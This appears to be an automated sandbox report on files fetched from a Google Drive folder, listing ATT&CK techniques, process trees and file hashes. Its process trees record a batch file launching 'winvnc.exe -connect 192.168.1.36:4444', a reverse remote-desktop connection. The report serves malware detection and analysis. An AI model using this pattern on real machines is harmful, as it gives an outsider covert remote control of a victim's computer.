hxxps://drive[.]google[.]com/drive/folders/1o_FvCzw_5IKZ8_bm_Om9y_7MArSpq41k?usp=sharing

Resubmissions

06-08-2024 21:25

240806-z9y55a1dkn 6

06-08-2024 21:23

240806-z8jn2s1cqq 6

Analysis

max time kernel
112s
max time network
110s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
06-08-2024 21:23

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://drive.google.com/drive/folders/1o_FvCzw_5IKZ8_bm_Om9y_7MArSpq41k?usp=sharing

Score

6^/10

discovery

Malware Config

Signatures

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
7	drive.google.com
11	drive.google.com

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Delays execution with timeout.exe 3 IoCs

evasion

pid	Process
452	timeout.exe
4544	timeout.exe
1452	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings	msedge.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

pid	Process
4996	msedge.exe
4996	msedge.exe
1056	msedge.exe
1056	msedge.exe
3860	identity_helper.exe
3860	identity_helper.exe
3980	msedge.exe
3980	msedge.exe
880	winvnc.exe
880	winvnc.exe
4536	winvnc.exe
4536	winvnc.exe
4536	winvnc.exe
4536	winvnc.exe
2508	winvnc.exe
2508	winvnc.exe
4772	winvnc.exe
4772	winvnc.exe
2000	winvnc.exe
2000	winvnc.exe
4844	winvnc.exe
4844	winvnc.exe
1192	winvnc.exe
1192	winvnc.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs

pid	Process
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe

Suspicious use of FindShellTrayWindow 37 IoCs

pid	Process
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
4536	winvnc.exe
4536	winvnc.exe
4536	winvnc.exe
4536	winvnc.exe

Suspicious use of SendNotifyMessage 27 IoCs

pid	Process
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
1056	msedge.exe
4536	winvnc.exe
4536	winvnc.exe
4536	winvnc.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1056 wrote to memory of 1492	1056	msedge.exe	87
PID 1056 wrote to memory of 1492	1056	msedge.exe	87
PID 1056 wrote to memory of 5028	1056	msedge.exe	88
PID 1056 wrote to memory of 5028	1056	msedge.exe	88
PID 1056 wrote to memory of 5028	1056	msedge.exe	88
PID 1056 wrote to memory of 5028	1056	msedge.exe	88
PID 1056 wrote to memory of 5028	1056	msedge.exe	88
PID 1056 wrote to memory of 5028	1056	msedge.exe	88
PID 1056 wrote to memory of 5028	1056	msedge.exe	88
PID 1056 wrote to memory of 5028	1056	msedge.exe	88
PID 1056 wrote to memory of 5028	1056	msedge.exe	88
PID 1056 wrote to memory of 5028	1056	msedge.exe	88
PID 1056 wrote to memory of 5028	1056	msedge.exe	88
PID 1056 wrote to memory of 5028	1056	msedge.exe	88
PID 1056 wrote to memory of 5028	1056	msedge.exe	88
PID 1056 wrote to memory of 5028	1056	msedge.exe	88
PID 1056 wrote to memory of 5028	1056	msedge.exe	88
PID 1056 wrote to memory of 5028	1056	msedge.exe	88
PID 1056 wrote to memory of 5028	1056	msedge.exe	88
PID 1056 wrote to memory of 5028	1056	msedge.exe	88
PID 1056 wrote to memory of 5028	1056	msedge.exe	88
PID 1056 wrote to memory of 5028	1056	msedge.exe	88
PID 1056 wrote to memory of 5028	1056	msedge.exe	88
PID 1056 wrote to memory of 5028	1056	msedge.exe	88
PID 1056 wrote to memory of 5028	1056	msedge.exe	88
PID 1056 wrote to memory of 5028	1056	msedge.exe	88
PID 1056 wrote to memory of 5028	1056	msedge.exe	88
PID 1056 wrote to memory of 5028	1056	msedge.exe	88
PID 1056 wrote to memory of 5028	1056	msedge.exe	88
PID 1056 wrote to memory of 5028	1056	msedge.exe	88
PID 1056 wrote to memory of 5028	1056	msedge.exe	88
PID 1056 wrote to memory of 5028	1056	msedge.exe	88
PID 1056 wrote to memory of 5028	1056	msedge.exe	88
PID 1056 wrote to memory of 5028	1056	msedge.exe	88
PID 1056 wrote to memory of 5028	1056	msedge.exe	88
PID 1056 wrote to memory of 5028	1056	msedge.exe	88
PID 1056 wrote to memory of 5028	1056	msedge.exe	88
PID 1056 wrote to memory of 5028	1056	msedge.exe	88
PID 1056 wrote to memory of 5028	1056	msedge.exe	88
PID 1056 wrote to memory of 5028	1056	msedge.exe	88
PID 1056 wrote to memory of 5028	1056	msedge.exe	88
PID 1056 wrote to memory of 5028	1056	msedge.exe	88
PID 1056 wrote to memory of 4996	1056	msedge.exe	89
PID 1056 wrote to memory of 4996	1056	msedge.exe	89
PID 1056 wrote to memory of 3556	1056	msedge.exe	90
PID 1056 wrote to memory of 3556	1056	msedge.exe	90
PID 1056 wrote to memory of 3556	1056	msedge.exe	90
PID 1056 wrote to memory of 3556	1056	msedge.exe	90
PID 1056 wrote to memory of 3556	1056	msedge.exe	90
PID 1056 wrote to memory of 3556	1056	msedge.exe	90
PID 1056 wrote to memory of 3556	1056	msedge.exe	90
PID 1056 wrote to memory of 3556	1056	msedge.exe	90
PID 1056 wrote to memory of 3556	1056	msedge.exe	90
PID 1056 wrote to memory of 3556	1056	msedge.exe	90
PID 1056 wrote to memory of 3556	1056	msedge.exe	90
PID 1056 wrote to memory of 3556	1056	msedge.exe	90
PID 1056 wrote to memory of 3556	1056	msedge.exe	90
PID 1056 wrote to memory of 3556	1056	msedge.exe	90
PID 1056 wrote to memory of 3556	1056	msedge.exe	90
PID 1056 wrote to memory of 3556	1056	msedge.exe	90
PID 1056 wrote to memory of 3556	1056	msedge.exe	90
PID 1056 wrote to memory of 3556	1056	msedge.exe	90
PID 1056 wrote to memory of 3556	1056	msedge.exe	90
PID 1056 wrote to memory of 3556	1056	msedge.exe	90

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://drive.google.com/drive/folders/1o_FvCzw_5IKZ8_bm_Om9y_7MArSpq41k?usp=sharing
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1056
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffcfede46f8,0x7ffcfede4708,0x7ffcfede4718
  2⤵
  PID:1492
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1968,8702220412071996263,3708671614852396202,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2056 /prefetch:2
  2⤵
  PID:5028
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1968,8702220412071996263,3708671614852396202,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4996
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1968,8702220412071996263,3708671614852396202,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2840 /prefetch:8
  2⤵
  PID:3556
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1968,8702220412071996263,3708671614852396202,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3356 /prefetch:1
  2⤵
  PID:3892
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1968,8702220412071996263,3708671614852396202,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3364 /prefetch:1
  2⤵
  PID:4988
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1968,8702220412071996263,3708671614852396202,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5160 /prefetch:8
  2⤵
  PID:3928
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1968,8702220412071996263,3708671614852396202,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5160 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3860
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1968,8702220412071996263,3708671614852396202,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5484 /prefetch:1
  2⤵
  PID:3484
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1968,8702220412071996263,3708671614852396202,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5568 /prefetch:1
  2⤵
  PID:4968
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1968,8702220412071996263,3708671614852396202,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3436 /prefetch:1
  2⤵
  PID:3532
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=1968,8702220412071996263,3708671614852396202,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5788 /prefetch:8
  2⤵
  PID:3944
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1968,8702220412071996263,3708671614852396202,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5424 /prefetch:1
  2⤵
  PID:2292
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1968,8702220412071996263,3708671614852396202,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5460 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3980
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1968,8702220412071996263,3708671614852396202,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5416 /prefetch:1
  2⤵
  PID:4716
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1968,8702220412071996263,3708671614852396202,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6096 /prefetch:1
  2⤵
  PID:2936

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1764

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4664

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3416

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\client-20240806T212331Z-001\client\main.bat" "
1⤵
PID:1436
- C:\Windows\system32\timeout.exe
  timeout /t 1
  2⤵
  - Delays execution with timeout.exe
  PID:452
- C:\Users\Admin\Downloads\client-20240806T212331Z-001\client\winvnc.exe
  winvnc.exe -run
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:4536
- C:\Users\Admin\Downloads\client-20240806T212331Z-001\client\winvnc.exe
  winvnc.exe -connect 192.168.1.36:4444
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:880

C:\Users\Admin\Downloads\client-20240806T212331Z-001\client\winvnc.exe
"C:\Users\Admin\Downloads\client-20240806T212331Z-001\client\winvnc.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:2508

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\client-20240806T212331Z-001\client\main.bat" "
1⤵
PID:4824
- C:\Windows\system32\timeout.exe
  timeout /t 1
  2⤵
  - Delays execution with timeout.exe
  PID:4544
- C:\Users\Admin\Downloads\client-20240806T212331Z-001\client\winvnc.exe
  winvnc.exe -run
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4772
- C:\Users\Admin\Downloads\client-20240806T212331Z-001\client\winvnc.exe
  winvnc.exe -connect 192.168.1.36:4444
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2000

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\Downloads\client-20240806T212331Z-001\client\main.bat"
1⤵
PID:2892
- C:\Windows\system32\timeout.exe
  timeout /t 1
  2⤵
  - Delays execution with timeout.exe
  PID:1452
- C:\Users\Admin\Downloads\client-20240806T212331Z-001\client\winvnc.exe
  winvnc.exe -run
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4844
- C:\Users\Admin\Downloads\client-20240806T212331Z-001\client\winvnc.exe
  winvnc.exe -connect 192.168.1.36:4444
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1192

C:\Windows\System32\NOTEPAD.EXE
"C:\Windows\System32\NOTEPAD.EXE" C:\Users\Admin\Downloads\client-20240806T212331Z-001\client\main.bat
1⤵
PID:3328

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
9e3fc58a8fb86c93d19e1500b873ef6f

SHA1
c6aae5f4e26f5570db5e14bba8d5061867a33b56

SHA256
828f4eacac1c40b790fd70dbb6fa6ba03dcc681171d9b2a6579626d27837b1c4

SHA512
e5e245b56fa82075e060f468a3224cf2ef43f1b6d87f0351a2102d85c7c897e559be4caeaecfdc4059af29fdc674681b61229319dda95cb2ee649b2eb98d313e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
27304926d60324abe74d7a4b571c35ea

SHA1
78b8f92fcaf4a09eaa786bbe33fd1b0222ef29c1

SHA256
7039ad5c2b40f4d97c8c2269f4942be13436d739b2e1f8feb7a0c9f9fdb931de

SHA512
f5b6181d3f432238c7365f64fc8a373299e23ba8178bcc419471916ef8b23e909787c7c0617ab22e4eb90909c02bd7b84f1386fbc61e2bdb5a0eb474175da4bd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
1KB

MD5
eb4b0be86be678d073fdbb047f51539b

SHA1
f1ced0be75bfcc47b59cb930306779d6237b4a78

SHA256
5f592ec0ac32bd5edd45a3c53c14f427c8b0891ca1246f096321c2561aecbae3

SHA512
9284bcaad2210b9ec6c5849fc6b066dbfb896c5240ab961f03df2ff5d2fdac23e6d075cf6ac37526bf02aa966b4e2d44eb3085546dbe2196c96a5878329c85a0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
1KB

MD5
481c854de0b3bccab80332a30b1ea301

SHA1
3e82d5ebc320e84e89fe79c4eaafeecafc4f8b7b

SHA256
4bbf5d10ee34658ce43fcd6a7db625f37d657a88a87a649f97fff29dd12dffc4

SHA512
31505305e649f14d80be2106c27b11b7d355a9b65e7b56d7401da3701fbd351bdaf1b474ba41f31d9ac51cc0be551ecb3947aaeaa432a1cd4d887153ed238607

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
3KB

MD5
28fcfe0ae8df205c763d0ec96bb308d2

SHA1
9c65ac035305dbcd4c0895f894e032045d4e8d24

SHA256
a248f21c5c1a38457ae46d4656f54ac781be995b2caa8c48609d9fcdf8f0430e

SHA512
5467df0563bec9dfe9219c48cd53bc40989975b080a8b3c3601c8cde15c1de58020545dbeb5597ea0dd0b2cd3ba725101b9305376bd86f6a18e7bc931f122f39

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
43d1793f432f5c16d6c86d25d24eb09c

SHA1
c3e583b9e68db82a575cb8ea259004c0feb0d052

SHA256
f052280741f9076cad4a3a0c618c6930d5f726757427312aa5674c5d953a6497

SHA512
304a7df5d6c2c43073a8fdb199d2e092cd56ed870583b6c3d03e05fa7397363951b92739f37b32c62278c449375898ada8efee3b6dc0d398071ed6903ec93651

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
75f60177c224566b332b0f0ca88a11f1

SHA1
152a93ccbc8d8eef74402268977ab3a7b8305484

SHA256
9457876db0f1e8985e3db933db0eea6bdff8c0e50c7496b75d2fc31d56320a07

SHA512
c507e4da4a56087059fb22122489146bd3a9ecb1edf970f141a11b0792efbf69e8318bb3208c6b43c6af5c33132fb955a5023241836c59f4d884ac436de5b81d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
070fd0f70c6c2fc2e9275ccea777126c

SHA1
ab8206232bf858090a083c6edd3631cdf042db07

SHA256
90c0eee1da25b5becd11e437546906f38b88d6477e199393416974e7ca297a05

SHA512
486336f3931adc02d8c2894e8c71551ba419639310f28b9ed0cb1c8ea9c40fefa5cdb3f27c0fa179bfd2d732edf13f2476910519b44f9d39e13cd785e9fd7888

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
1d230b711dd4bdcff54a5b8e0704fefb

SHA1
77b0cea7e87cae3169f2149fba794e8d68d690b2

SHA256
6bacaa9d8e429ce2846b885190d000a084f6b0c28df2f9c2c229c0dafb0be411

SHA512
d48640d443af530bbbe07441530eceaa960a6d4b264daac12f9ba0adf67de28198908b6ae4554bb4283929b4f12732027fb560b0cdfd50494a2a12a04bf7b31e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
1KB

MD5
9da9f13302a7be2a10b2d8773df34bb3

SHA1
eae4147fc2282d553b4aec626664a26136a465c7

SHA256
dfac38c150d8f859ef9edb5b0db7016bc6e4c7e26740b950c22b5ba026de86d7

SHA512
e863e809f1f0a0700cffde4e6734975f87da64ad1c6bfe767ef43fe3184ee7a5183d4c7b6f24239b9f6fe131c6606bfdbb97fba38584f6706be4a6e87fe121c3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe580c40.TMP

Filesize
1KB

MD5
f7471a92823163492f63d04ea6364e46

SHA1
9503b116879225fa69cc50f34c907dde39ce167d

SHA256
0d0331bdefae1955dc11c4051b17737f191c05c78208a6ed2f38663c967dae13

SHA512
692f10414b3bc1288ba15ded183e6911d166ebd51790c0b6515cae17a84a627ffda7e2bfcbc0035e4bdf19064e94da2c62321ef1c9d8a56a957fcbfff0781ddd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
28576f4e38f18b1ead358bb24a530cbb

SHA1
32ae15b01c08ef7c369f72507421d6e1fb5b7dae

SHA256
f103e190d78ff02e9a7badaf885db89437802dc68c16ffc080ff395457188cce

SHA512
100dcb520d00f317acd04453b93d00ed59d5ef20ec6018902a8dc33492063f579387be59ee9bc8038da016f6a47c1a71891e84607c4b545dfc15ecda0df544ff

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
761442320aadf1322c192d6c4f86653b

SHA1
dcba642e1da21e4c48d4d55104e19cdc33a5294f

SHA256
c941dc47dd478fb5bf51b77ad6c72841f49851c61a1c5678e42020dfd1cd9800

SHA512
542d92f6958dc65511b079c57543d4921b22b1ee173cf73db12bb065ce49c567429ae731938e346821f0b886254a9e04339b262bdb9e5ba8230d22aeaa7b5ee2

Download Submit
C:\Users\Admin\Downloads\client-20240806T212331Z-001.zip

Filesize
1.0MB

MD5
776bdbf74bb84adf7db6beabd0d9f8f1

SHA1
cdda7140852cc7c180cbb13eb597377cbac70a18

SHA256
90f9427c8fd9a86af0a8dd96210fb037dd486ec19288c02173d23af620cca47e

SHA512
bbe934a97e9953472dcd769994b50e8eddd4a58712f157abfe8ada50943020c35fb82569312343b36c16e1e7b45c43f553ff53d2248dc9e0adcf9d2dc8b773fb

Download Submit